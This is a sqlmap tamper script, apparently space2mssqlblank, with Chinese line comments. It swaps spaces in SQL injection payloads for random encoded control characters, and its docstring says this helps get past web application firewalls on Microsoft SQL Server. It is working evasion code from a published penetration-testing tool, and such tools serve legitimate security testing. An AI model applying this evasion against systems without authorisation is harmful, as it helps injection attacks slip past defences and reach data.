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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import random
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# 导入lib.core.common模块中的singleTimeWarnMessage函数
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from lib.core.common import singleTimeWarnMessage
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# 导入lib.core.compat模块中的xrange函数
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from lib.core.compat import xrange
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# 导入lib.core.enums模块中的DBMS枚举
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from lib.core.enums import DBMS
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# 导入lib.core.enums模块中的PRIORITY枚举
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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# 定义一个函数，用于检查脚本依赖
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def dependencies():
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# 输出警告信息，说明该脚本只能用于特定数据库
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
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Requirement:
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* Microsoft SQL Server
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Tested against:
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* Microsoft SQL Server 2000
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* Microsoft SQL Server 2005
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Notes:
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* Useful to bypass several web application firewalls
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>>> random.seed(0)
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>>> tamper('SELECT id FROM users')
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'SELECT%0Did%0DFROM%04users'
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"""
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# ASCII table:
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# SOH 01 start of heading
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# STX 02 start of text
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# ETX 03 end of text
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# EOT 04 end of transmission
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# ENQ 05 enquiry
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# ACK 06 acknowledge
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# BEL 07 bell
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# BS 08 backspace
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# TAB 09 horizontal tab
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# LF 0A new line
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# VT 0B vertical TAB
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# FF 0C new page
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# CR 0D carriage return
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# SO 0E shift out
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# SI 0F shift in
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# 定义一个元组，包含一些字符串
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blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
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# 将payload赋值给retVal
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retVal = payload
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if payload:
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retVal = ""
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quote, doublequote, firstspace, end = False, False, False, False
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# 遍历payload中的每个字符
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for i in xrange(len(payload)):
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# 如果当前字符不是空格，则将firstspace设置为True
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if not firstspace:
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if payload[i].isspace():
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firstspace = True
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# 在retVal中添加一个随机选择的空格
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retVal += random.choice(blanks)
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continue
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# 如果当前字符是单引号，则将quote取反
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elif payload[i] == '\'':
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quote = not quote
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# 如果当前字符是双引号，则将doublequote取反
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elif payload[i] == '"':
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doublequote = not doublequote
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# 如果当前字符是#或者--，则将end设置为True
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elif payload[i] == '#' or payload[i:i + 3] == '-- ':
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end = True
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# 如果当前字符是空格，且不是在双引号或单引号中，则根据end的值添加一个随机选择的空格
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elif payload[i] == " " and not doublequote and not quote:
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if end:
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retVal += random.choice(blanks[:-1])
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else:
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retVal += random.choice(blanks)
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continue
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# 将当前字符添加到retVal中
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retVal += payload[i]
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return retVal
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